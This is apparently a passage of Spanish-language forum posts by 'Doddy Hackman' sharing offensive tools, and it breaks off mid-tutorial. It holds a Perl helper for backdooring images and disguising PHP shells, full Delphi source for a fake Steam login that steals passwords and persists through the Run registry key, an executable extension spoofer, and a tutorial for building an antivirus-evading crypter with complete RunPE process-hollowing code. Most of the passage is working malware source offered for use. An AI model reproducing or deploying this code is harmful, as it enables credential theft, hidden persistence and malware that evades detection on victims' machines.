$poc -> ExtractInfo ( $image ) ;
$poc -> SetNewValue ( $name , $value ) ;
$ok = $poc -> WriteInfo ( $image ) ;
if ( $ok eq "1" ) {
printear_titulo( "[+] Tag $name : " ) ;
}
else {
printear_titulo( "[-] Tag $name : " ) ;
}
}
sub read_tag {
$imagen_target = $_ [ 0 ] ;
$tag = $_ [ 1 ] ;
my $datos_imagen = new Image:: ExifTool ;
my $informacion_imagen = $datos_imagen -> ImageInfo ( $imagen_target ) ;
$valor = $datos_imagen -> GetValue ( $tag ) ;
if ( $valor eq "" ) {
printear( "[-] Tag not found\n " ) ;
}
else {
printear( "[+] $tag : " ) ;
}
}
sub dump_tags {
my $imagen_target = $_ [ 0 ] ;
my $datos_imagen = new Image:: ExifTool ;
my $informacion_imagen = $datos_imagen -> ImageInfo ( $imagen_target ) ;
@tags = $datos_imagen -> GetFoundTags ( "File" ) ;
for my $tag ( @tags ) {
printear( "[+] Tag : " ) ;
}
}
sub dump_all {
my $imagen_target = $_ [ 0 ] ;
my $datos_imagen = new Image:: ExifTool ;
my $informacion_imagen = $datos_imagen -> ImageInfo ( $imagen_target ) ;
for my $abriendo_imagen ( $datos_imagen -> GetFoundTags ( "Group0" ) ) {
my $valor = $informacion_imagen -> { $abriendo_imagen } ;
printear( "[+] $abriendo_imagen : " ) ;
}
}
sub savefile {
open ( SAVE
, ">>" . $_ [ 0 ] ) ; }
sub readfile {
open my $FILE , q [ < ] , $_ [ 0 ] ; my $word = join q [ ] , < $FILE >; }
sub printear {
cprint( "\x 036" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_logo {
cprint( "\x 037" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_titulo {
cprint( "\x 0310" . $_ [ 0 ] . "\x 030" ) ;
}
sub sintax {
printear( "[+] Sintax : " ) ;
print "perl $0 <option> <value>\n " ; printear( "\n [+] Options : \n \n " ) ;
print "-dump_all <image> : Get all information of a image\n " ; print "-dump_tags <image> : Get all tags of a image\n " ; print "-read_tag <image> -tag <tag> : Read value tags of a image\n " ; print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n " ; print "-update_tag <image> -tag <tag> -value <value> : Update tag\n " ; print "-delete_tag <image> -tag <tag> : Delete tag\n " ; print "-backdoor <image> -file <name> : Insert backdoor in a image\n " ; "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n " ;
printear( "\n [+] Example : " ) ;
print "perl lfi_image_helper.pl -dump_all test.jpg\n " ; copyright( ) ;
}
sub head {
printear_logo( "\n -- == LFI Image Helper 0.8 == --\n \n \n " ) ;
}
sub copyright {
printear_logo( "\n \n -- == (C) Doddy Hackman 2015 == --\n \n " ) ;
}
sub toma {
return $nave -> get ( $_ [ 0 ] ) -> content ; }
#The End ?
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
57
Programación / Programación General / [Delphi] Fake Steam 0.3
en: 1 Mayo 2015, 17:05 pm
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".
Una imagen :
El codigo :
// Fake Steam 0.3
// (C) Doddy Hackman 2015
unit fake;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. ExtCtrls , Vcl. Imaging . pngimage ,
Vcl. StdCtrls , Registry;
type
TForm1 = class ( TForm)
Image1: TImage;
Image2: TImage;
Edit1: TEdit;
Edit2: TEdit;
Image3: TImage;
Image4: TImage;
Image5: TImage;
Image6: TImage;
procedure Image2Click( Sender: TObject ) ;
procedure Image3Click( Sender: TObject ) ;
procedure Image4Click( Sender: TObject ) ;
procedure Image5Click( Sender: TObject ) ;
procedure Image6Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1. FormCreate ( Sender: TObject ) ;
var
nombrereal: string ;
rutareal: string ;
yalisto: string ;
her: TRegistry;
begin
try
begin
nombrereal : = ExtractFileName ( ParamStr ( 0 ) ) ;
rutareal : = ParamStr ( 0 ) ;
yalisto : = 'C:\WINDOWS\' + nombrereal;
CopyFile( Pchar ( rutareal) , Pchar ( yalisto) , false ) ;
her : = TRegistry. Create ;
her. RootKey : = HKEY_LOCAL_MACHINE;
her. OpenKey ( 'Software\Microsoft\Windows\CurrentVersion\Run' , false ) ;
her. WriteString ( 'ubersteam' , yalisto) ;
her. Free ;
SetFileAttributes( Pchar ( yalisto) , FILE_ATTRIBUTE_HIDDEN) ;
SetFileAttributes( Pchar ( 'C:/windows/datos.txt' ) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
except
//
end ;
end ;
procedure TForm1. Image2Click ( Sender: TObject ) ;
var
archivo: TextFile ;
ruta: string ;
begin
if ( Edit1. Text = 'doddy' ) and ( Edit2. Text = 'hackman' ) then
begin
try
begin
WinExec( 'notepad c:/windows/datos.txt' , SW_SHOW) ;
end ;
except
//
end ;
end
else
begin
if Edit1. Text = '' then
begin
ShowMessage( 'Escriba tu usuario' ) ;
end ;
if Edit2. Text = '' then
begin
ShowMessage( 'Escribe tu contraseña' ) ;
end
else
begin
if Edit2. Text = 'Escribe aqui tu contraseña' then
begin
ShowMessage( 'Escribe tu contraseña' ) ;
end
else
begin
try
begin
ruta : = 'c:/windows/datos.txt' ; // mod
if FileExists ( ruta) then
begin
AssignFile ( archivo, ruta) ;
FileMode : = fmOpenWrite;
Append ( archivo) ;
Writeln ( archivo, '[user] : ' + Edit1. Text + ' [password] : ' +
Edit2. Text ) ;
CloseFile ( archivo) ;
Application. MessageBox
( 'Se ha producido un error , es necesario reiniciar Steam' ,
'Steam' , MB_OK) ;
Form1. Close ;
end
else
begin
AssignFile ( archivo, ruta) ;
FileMode : = fmOpenWrite;
ReWrite ( archivo) ;
Writeln ( archivo, '[user] : ' + Edit1. Text + ' [password] : ' +
Edit2. Text ) ;
CloseFile ( archivo) ;
Application. MessageBox
( 'Se ha producido un error , es necesario reiniciar Steam' ,
'Steam' , MB_OK) ;
Form1. Close ;
end ;
end ;
except
//
end ;
end ;
end ;
end ;
end ;
procedure TForm1. Image3Click ( Sender: TObject ) ;
begin
Application. Terminate ;
end ;
procedure TForm1. Image4Click ( Sender: TObject ) ;
begin
ShowMessage( 'Not available' ) ;
end ;
procedure TForm1. Image5Click ( Sender: TObject ) ;
begin
ShowMessage( 'Not available' ) ;
end ;
procedure TForm1. Image6Click ( Sender: TObject ) ;
begin
ShowMessage( 'Not available' ) ;
end ;
end .
// The End ?
Si quieren bajar el programa lo pueden hacer de
aca .
58
Programación / Programación General / [Delphi] DH Server Manager 0.3
en: 24 Abril 2015, 17:25 pm
Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :
File Pumper Extension Spoofer Icon Changer Una imagen :
// DH Server Manager 0.3
// (C) Doddy Hackman 2015
// Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html
unit dhserverman;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. StdCtrls , Vcl. ComCtrls ,
Vcl. ExtCtrls , Vcl. Imaging . pngimage , madRes, StrUtils;
type
TForm1 = class ( TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
GroupBox1: TGroupBox;
ruta_archivo: TEdit;
Button1: TButton;
GroupBox2: TGroupBox;
Button2: TButton;
StatusBar1: TStatusBar;
TabSheet5: TTabSheet;
GroupBox3: TGroupBox;
GroupBox4: TGroupBox;
count: TEdit;
UpDown1: TUpDown;
tipo_cantidad: TComboBox;
GroupBox5: TGroupBox;
ruta_icono: TEdit;
Button3: TButton;
GroupBox6: TGroupBox;
Image1: TImage;
OpenDialog1: TOpenDialog;
OpenDialog2: TOpenDialog;
GroupBox7: TGroupBox;
usefilepumper: TCheckBox;
iconchanger: TCheckBox;
extensiones: TComboBox;
selectextension: TCheckBox;
GroupBox8: TGroupBox;
mi_extension: TCheckBox;
esta_extension: TEdit;
extensionchanger: TCheckBox;
TabSheet4: TTabSheet;
Image2: TImage;
GroupBox9: TGroupBox;
Image3: TImage;
Memo1: TMemo;
procedure Button2Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
procedure Button1Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
procedure file_pumper( archivo: string ; cantidad: LongWord ) ;
var
arraycantidad: array of Byte ;
abriendo: TFileStream;
begin
abriendo : = TFileStream. Create ( archivo, fmOpenReadWrite) ;
SetLength ( arraycantidad, cantidad) ;
ZeroMemory( @ arraycantidad[ 1 ] , cantidad) ;
abriendo. Seek ( 0 , soFromEnd) ;
abriendo. Write ( arraycantidad[ 0 ] , High ( arraycantidad) ) ;
abriendo. Free ;
end ;
procedure extension_changer( archivo: string ; extension: string ) ;
var
nombre: string ;
begin
nombre : = ExtractFileName ( archivo) ;
nombre : = StringReplace ( nombre, ExtractFileExt ( nombre) , '' ,
[ rfReplaceAll, rfIgnoreCase] ) ;
nombre : = nombre + char ( 8238 ) + ReverseString( '.' + extension) + '.exe' ;
MoveFile( PChar ( archivo) , PChar ( ExtractFilePath ( archivo) + nombre) ) ;
end ;
//
procedure TForm1. Button1Click ( Sender: TObject ) ;
begin
if OpenDialog1. Execute then
begin
ruta_archivo. Text : = OpenDialog1. FileName ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
change: dword ;
valor: string ;
tipocantidad: string ;
tipoextension: string ;
extensionacambiar: string ;
begin
if not ( FileExists ( ruta_archivo. Text ) ) then
begin
ShowMessage( 'Select File to change' ) ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Working ...' ;
Form1. StatusBar1 . Update ;
if ( usefilepumper. Checked ) then
begin
tipocantidad : = tipo_cantidad. Items [ tipo_cantidad. ItemIndex ] ;
if ( tipocantidad = 'Byte' ) then
begin
file_pumper( ruta_archivo. Text , StrToInt ( count. Text ) * 8 ) ;
end ;
if ( tipocantidad = 'KiloByte' ) then
begin
file_pumper( ruta_archivo. Text , StrToInt ( count. Text ) * 1024 ) ;
end ;
if ( tipocantidad = 'MegaByte' ) then
begin
file_pumper( ruta_archivo. Text , StrToInt ( count. Text ) * 1048576 ) ;
end ;
if ( tipocantidad = 'GigaByte' ) then
begin
file_pumper( ruta_archivo. Text , StrToInt ( count. Text ) * 1073741824 ) ;
end ;
if ( tipocantidad = 'TeraByte' ) then
begin
file_pumper( ruta_archivo. Text , StrToInt ( count. Text ) * 1099511627776 ) ;
end ;
end ;
if ( iconchanger. Checked ) then
begin
try
begin
change : = BeginUpdateResourceW
( PWideChar ( wideString ( ruta_archivo. Text ) ) , false ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
PWideChar ( wideString ( ruta_icono. Text ) ) ) ;
EndUpdateResourceW( change, false ) ;
end ;
except
begin
//
end ;
end ;
end ;
if ( extensionchanger. Checked ) then
begin
if not ( selectextension. Checked and mi_extension. Checked ) then
begin
if ( selectextension. Checked ) then
begin
extensionacambiar : = extensiones. Items [ extensiones. ItemIndex ] ;
extension_changer( ruta_archivo. Text , extensionacambiar) ;
end ;
if ( mi_extension. Checked ) then
begin
extension_changer( ruta_archivo. Text , esta_extension. Text ) ;
end ;
end ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done' ;
Form1. StatusBar1 . Update ;
end ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
begin
if OpenDialog2. Execute then
begin
ruta_icono. Text : = OpenDialog2. FileName ;
Image1. Picture . LoadFromFile ( OpenDialog2. FileName ) ;
end ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
OpenDialog2. InitialDir : = GetCurrentDir ;
OpenDialog2. Filter : = 'Icons|*.ico|' ;
end ;
end .
// The End ?
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de
aca .
59
Programación / Programación General / [Delphi] DH Crypter 1.0
en: 13 Abril 2015, 15:12 pm
Un simple crypter que hice en Delphi con las siguientes funciones :
Generador de key para el cifrado Delay Startup del archivo Ocultar archivo Melt File Mensajes falsos Ejecutar comandos Matar procesos Abrir URL Descargar y ejecutar archivos File Pumper,Extension Spoofer & Icon Changer Antis : [++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMware
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[!] Creditos :
[++] steve10120 [ RunPE ]
Una imagen :
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
Eso seria todo.
60
Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un Crypter
en: 12 Abril 2015, 21:54 pm
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos
-- =================--------
0x01 : Introduccion
Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.
Empecemos ...
0x02 : Creacion del Builder
Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :
Despues agregamos los siguientes elementos al formulario :
* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)
El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.
Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"
Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".
El formulario les deberia quedar asi :
Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :
procedure TForm1. Button1Click ( Sender: TObject ) ;
begin
if OpenDialog1. Execute then // Abrimos el OpenDialog para insertar la ruta
// del archivo a cifrar
begin
Edit1. Text : = OpenDialog1. FileName ; // Establecemos el texto de Edit1 con
// la ruta del archivo marcado en el openDialog1
end ;
end ;
Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
codigo: string ; // Declaramos la variable "codigo" como string
key: integer ; // Declaramos la variable "key" como integer
separador: string ; // Declaramos la variable "separador" como string
linea: string ; // Declaramos la variable "linea" como string
begin
separador : = '-barra-' ;
// Establecemos el valor que tendra la variable "separador"
key : = 123 ; // Establecemos el valor de la variable "key" como 123
codigo : = xor_now( leer_archivo( Edit1. Text ) , key) ;
// Leemos el archivo que hay en
// la caja de texto y ciframos con XOR el contenido usando una key
CopyFile( Pchar ( ExtractFilePath ( Application. ExeName ) + '/' + 'stub.exe' ) ,
Pchar ( ExtractFilePath ( Application. ExeName ) + '/' + 'done.exe' ) , True ) ;
// Copiamos el stub.exe con el nombre de done.exe
linea : = separador + codigo + separador + IntToStr ( key) + separador;
// Establecemos
// la variable "linea" con el valor de contenido del archivo cifrado con
// XOR y la key del cifrado XOR
escribir_datos( 'done.exe' , '-acatoy1-' , '-acatoy2-' , linea) ; // Escribimos
// los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
// tambien ponemos el valor de la variable "linea"
ShowMessage( 'Done' ) ;
end ;
El codigo les deberia quedar algo asi :
Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :
Una vez creada pongan el siguiente codigo :
// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash
unit tools;
interface
uses SysUtils, Windows;
function leer_datos( archivo, delimitador1, delimitador2: string ) : string ;
function escribir_datos( ruta, delimitador1, delimitador2, texto: string ) : bool ;
function leer_archivo( archivo_a_leer: String ) : AnsiString ;
function xor_now( texto: string ; clave: integer ) : string ;
implementation
function xor_now( texto: string ; clave: integer ) : string ;
var
numero: integer ; // Establecemos la variable "numero" como integer
contenido: string ; // Establecemos la variable "contenido" como string
begin
contenido : = '' ; // Vaciamos el contenido de la variable "contenido"
for numero : = 1 to Length ( texto) do // Realizamos un for empezando por 1 hasta
// la longitud de la variable "texto"
begin
contenido : = contenido + Char ( integer ( texto[ numero] ) xor clave) ;
// ciframos los datos
// con XOR
end ;
Result : = contenido; // Devolvemos el resultado de la funcion como el valor
// de la variable "contenido"
end ;
function leer_archivo( archivo_a_leer: String ) : AnsiString ;
var
archivo: File ; // Declaramos la variable "archivo" como File
tipo: Byte ; // Declaramos la variable "tipo" como Byte
begin
tipo : = FileMode; // Establecemos el FileMode para abrir el archivo
try
FileMode : = 0 ; // Establecemos como "0" el FileMode
AssignFile ( archivo, archivo_a_leer) ; // Abrirmos el archivo
{$I-}
Reset ( archivo, 1 ) ; // Leemos el archivo desde la primera linea
{$I+}
if IoResult = 0 then // Si IoResult es 0 ...
try
SetLength ( Result, FileSize ( archivo) ) ; // Establecemos la longitud la
// variable "Result" como la longitud del archivo
if Length ( Result) > 0 then
// Si la longitud del resultado es mayor a 0 ...
begin
{$I-}
BlockRead ( archivo, Result[ 1 ] , Length ( Result) ) ; // Leemos los datos
{$I+}
if IoResult <> 0 then // Si es distinto a 0 ..
Result : = '' ;
end ;
finally
CloseFile ( archivo) ; // Cerramos el archivo
end ;
finally
FileMode : = tipo; // Declaramos la variable FileMode como la variable "tipo"
end ;
end ;
function leer_datos( archivo, delimitador1, delimitador2: string ) : string ;
var
contenido: string ; // Declaramos la variable "contenido" como string
limite: integer ; // Declaramos la variable "limite" como integer
dividiendo: integer ; // Declaramos la variable "dividiendo" como integer
dividiendo2: integer ; // Declaramos la variable "dividiendo2" como integer
dividiendo3: integer ; // Declaramos la variable "dividiendo3" como integer
dividiendo4: integer ; // Declaramos la variable "dividiendo4" como integer
control1: integer ; // Declaramos la variable "control1" como integer
control2: integer ; // Declaramos la variable "control2" como integer
suma: integer ; // Declaramos la variable "suma" como integer
numero: integer ; // Declaramos la variable "numero" como integer
suma_inicial_1: integer ; // Declaramos la variable suma_inicial_1 como integer
suma_inicial_2: integer ; // Declaramos la variable suma_inicial_2 como integer
suma_casi_1: integer ; // Declaramos la variable suma_casi_1 como integer
suma_casi_2: integer ; // Declaramos la variable suma_casi_2 como integer
resultado: string ; // Declaramos la variable "resultado" como string
contenido_final: string ;
// Declaramos la variable "contenido_final" como string
begin
if ( FileExists ( archivo) ) then // Si existe el archivo ...
begin
contenido : = leer_archivo( archivo) ; // Leemos el archivo y guardamos todo
// en la variable "contenido"
suma_inicial_1 : = Length ( delimitador1) ;
// Calculamos la longitud de la variable
// "delimitador1"
suma_inicial_2 : = Length ( contenido) ;
// Calculamos la longitud de la variable
// "contenido"
suma : = Pos ( delimitador1, contenido) + suma_inicial_1;
// Calculamos la posicion del
// "delimitador" en la variable "contenido"
dividiendo : = suma_inicial_2 - suma;
// Restamos las variables "suma_inicial_2"
// y "suma"
dividiendo2 : = suma_inicial_2 - dividiendo;
// Restamos las variables "suma_inicial_2"
// y "dividiendo"
contenido : = Copy ( contenido, dividiendo2, suma_inicial_2) ;
// Copiamos las variables y las guardmamos en "contenido"
suma_casi_1 : = Pos ( delimitador1, contenido) ;
// Calculamos la posicion de "delimitador1"
// en la variable "contenido"
suma_casi_2 : = suma_casi_1 + suma_inicial_1;
// Sumamos las variables "suma_casi_1"
// y "suma_inicial_1"
control1 : = Pos ( delimitador2, contenido) - suma_casi_2;
// Calculamos la posicion
// de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
control2 : = control1 - 1 ; // Restamos en uno la variable "control1"
for numero : = 0 to control2 do
// Realizamos un for usando desde 0 hasta el valor
// de la variable "control2"
begin
dividiendo3 : = suma_inicial_1 + numero;
// Sumamos la variables varibles "suma_inicial_1"
// y "numero"
dividiendo4 : = Pos ( delimitador1, contenido) + dividiendo3;
// Calculamos la posicion de "delimitador1" en la variable
// "contenido"
contenido_final : = contenido[ dividiendo4] ; // "Usamos la posicion que esta
// en la variable "dividiendo4" para acceder a cierta posicion de la variable
// "contenido"
resultado : = resultado + contenido_final;
// Sumamos las variables "resultado" y
// "contenido_final"
end ;
if resultado = '' then // Si la variable "resultado" esta vacia ...
begin
resultado : = 'Error' ; // Mostramos "Error" en la variable "resultado"
end
else
begin
Result : = resultado; // De lo contrario mostramos el contenido de la
// variable "resultado" en resultado de la funcion
end ;
end
else
begin
Result : = 'Error' ; // De lo contrario mostramos "Error" en el resultado de
// la funcion
end ;
end ;
function escribir_datos( ruta, delimitador1, delimitador2, texto: string ) : bool ;
var
abriendo_archivo: TextFile ; // Declaramos la variable "abriendo_archivo" como
// TextFile
begin
if ( FileExists ( ruta) ) then // Si el archivo de la variable "ruta" existe ...
begin
AssignFile ( abriendo_archivo, ruta) ; // Abrimos el archivo de la variable
// "ruta"
Append ( abriendo_archivo) ; // Empezamos a leer el archivo desde la variable
// "abriendo_archivo"
try
begin
WriteLn ( abriendo_archivo, delimitador1 + texto + delimitador2) ;
// Escribimos los datos
// de las variables "delimitador1,"texto","delimitador2"
end
finally
begin
CloseFile ( abriendo_archivo) ; // Cerramos el archivo desde la variable
// "abriendo_archivo"
end ;
Result : = True ; // Devolvemos "True" como resultado de la funcion
end ;
end
else
begin
Result : = False ; // De lo contrario devolvemos "False" como resultado de la
// funcion
end ;
end ;
end .
// The End ?
Y para terminar la Unit guardenla con el nombre de "tools".
Les deberia quedar algo asi :
Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, tools;
Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.
0x03 : Creacion del Stub
Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :
Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :
Una vez creado ponemos el siguiente codigo :
{ uExecFromMem
Author: steve10120
Description: Run an executable from another's memory.
Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
Reference: http://www.security.org.sg/code/loadexe.html
Release Date: 26th August 2009
Website: http://ic0de.org
History: First try
Additions by testest 15th July 2010:
- Parameter support
- Win7 x64 support
}
unit uExecFromMem;
interface
uses Windows;
function ExecuteFromMem( szFilePath, szParams: string ; pFile: Pointer ) : DWORD ;
implementation
function NtUnmapViewOfSection( ProcessHandle: DWORD ; BaseAddress: Pointer ) : DWORD ; stdcall ; external 'ntdll' ;
type
PImageBaseRelocation = ^ TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD ;
SizeOfBlock: DWORD ;
end ;
procedure PerformBaseRelocation( f_module: Pointer ; INH: PImageNtHeaders; f_delta: Cardinal ) ; stdcall ;
var
l_i: Cardinal ;
l_codebase: Pointer ;
l_relocation: PImageBaseRelocation;
l_dest: Pointer ;
l_relInfo: ^ Word;
l_patchAddrHL: ^ DWord;
l_type, l_offset: integer ;
begin
l_codebase : = f_module;
if INH^ . OptionalHeader . DataDirectory [ 5 ] . Size > 0 then
begin
l_relocation : = PImageBaseRelocation( Cardinal ( l_codebase) + INH^ . OptionalHeader . DataDirectory [ 5 ] . VirtualAddress ) ;
while l_relocation. VirtualAddress > 0 do
begin
l_dest : = Pointer ( ( Cardinal ( l_codebase) + l_relocation. VirtualAddress ) ) ;
l_relInfo : = Pointer ( Cardinal ( l_relocation) + 8 ) ;
for l_i : = 0 to ( trunc ( ( ( l_relocation. SizeOfBlock - 8 ) / 2 ) ) - 1 ) do
begin
l_type : = ( l_relInfo^ shr 12 ) ;
l_offset : = l_relInfo^ and $FFF ;
if l_type = 3 then
begin
l_patchAddrHL : = Pointer ( Cardinal ( l_dest) + Cardinal ( l_offset) ) ;
l_patchAddrHL^ : = l_patchAddrHL^ + f_delta;
end ;
inc ( l_relInfo) ;
end ;
l_relocation : = Pointer ( cardinal ( l_relocation) + l_relocation. SizeOfBlock ) ;
end ;
end ;
end ;
function AlignImage( pImage: Pointer ) : Pointer ;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD ;
begin
IDH : = pImage;
INH : = Pointer ( Integer ( pImage) + IDH^ . _lfanew) ;
GetMem ( Result, INH^ . OptionalHeader . SizeOfImage ) ;
ZeroMemory( Result, INH^ . OptionalHeader . SizeOfImage ) ;
CopyMemory( Result, pImage, INH^ . OptionalHeader . SizeOfHeaders ) ;
for i : = 0 to INH^ . FileHeader . NumberOfSections - 1 do
begin
ISH : = Pointer ( Integer ( pImage) + IDH^ . _lfanew + 248 + i * 40 ) ;
CopyMemory( Pointer ( DWORD ( Result) + ISH^ . VirtualAddress ) , Pointer ( DWORD ( pImage) + ISH^ . PointerToRawData ) , ISH^ . SizeOfRawData ) ;
end ;
end ;
function Get4ByteAlignedContext( var Base: PContext) : PContext;
begin
Base : = VirtualAlloc( nil , SizeOf ( TContext) + 4 , MEM_COMMIT, PAGE_READWRITE) ;
Result : = Base;
if Base <> nil then
while ( ( DWORD ( Result) mod 4 ) <> 0 ) do
Result : = Pointer ( DWORD ( Result) + 1 ) ;
end ;
function ExecuteFromMem( szFilePath, szParams: string ; pFile: Pointer ) : DWORD ;
var
PI : TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase: PContext;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
dwImageBase: DWORD ;
pModule: Pointer ;
dwNull: DWORD ;
begin
if szParams <> '' then szParams : = '"' + szFilePath+ '" ' + szParams;
Result : = 0 ;
IDH : = pFile;
if IDH^ . e_magic = IMAGE_DOS_SIGNATURE then
begin
INH : = Pointer ( Integer ( pFile) + IDH^ . _lfanew) ;
if INH^ . Signature = IMAGE_NT_SIGNATURE then
begin
FillChar ( SI, SizeOf ( TStartupInfo) , #0 ) ;
FillChar ( PI , SizeOf ( TProcessInformation) , #0 ) ;
SI. cb : = SizeOf ( TStartupInfo) ;
if CreateProcess( PChar ( szFilePath) , PChar ( szParams) , nil , nil , FALSE , CREATE_SUSPENDED, nil , nil , SI, PI ) then
begin
CT : = Get4ByteAlignedContext( CTBase) ;
if CT <> nil then
begin
CT. ContextFlags : = CONTEXT_FULL;
if GetThreadContext( PI . hThread , CT^ ) then
begin
ReadProcessMemory( PI . hProcess , Pointer ( CT. Ebx + 8 ) , @ dwImageBase, 4 , dwNull) ;
if dwImageBase = INH^ . OptionalHeader . ImageBase then
begin
if NtUnmapViewOfSection( PI . hProcess , Pointer ( INH^ . OptionalHeader . ImageBase ) ) = 0 then
pModule : = VirtualAllocEx( PI . hProcess , Pointer ( INH^ . OptionalHeader . ImageBase ) , INH^ . OptionalHeader . SizeOfImage , MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
else
pModule : = VirtualAllocEx( PI . hProcess , nil , INH^ . OptionalHeader . SizeOfImage , MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE) ;
end
else
pModule : = VirtualAllocEx( PI . hProcess , Pointer ( INH^ . OptionalHeader . ImageBase ) , INH^ . OptionalHeader . SizeOfImage , MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE) ;
if pModule <> nil then
begin
pFile : = AlignImage( pFile) ;
if DWORD ( pModule) <> INH^ . OptionalHeader . ImageBase then
begin
PerformBaseRelocation( pFile, INH, ( DWORD ( pModule) - INH^ . OptionalHeader . ImageBase ) ) ;
INH^ . OptionalHeader . ImageBase : = DWORD ( pModule) ;
CopyMemory( Pointer ( Integer ( pFile) + IDH^ . _lfanew) , INH, 248 ) ;
end ;
WriteProcessMemory( PI . hProcess , pModule, pFile, INH. OptionalHeader . SizeOfImage , dwNull) ;
WriteProcessMemory( PI . hProcess , Pointer ( CT. Ebx + 8 ) , @ pModule, 4 , dwNull) ;
CT. Eax : = DWORD ( pModule) + INH^ . OptionalHeader . AddressOfEntryPoint ;
SetThreadContext( PI . hThread , CT^ ) ;
ResumeThread( PI . hThread ) ;
Result : = PI . hThread ;
end ;
end ;
VirtualFree( CTBase, 0 , MEM_RELEASE) ;
end ;
if Result = 0 then
TerminateProcess( PI . hProcess , 0 ) ;
end ;
end ;
end ;
end ;
end .
Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :
Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :
uses
SysUtils, StrUtils, Windows, uExecFromMem, tools;
Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.
Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.
El codigo :
type
otro_array = array of string ;
// Declaramos el tipo "otro_array" como array of string
Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.
El codigo :
procedure regex2( texto: string ; separador: string ; var resultado: otro_array) ;
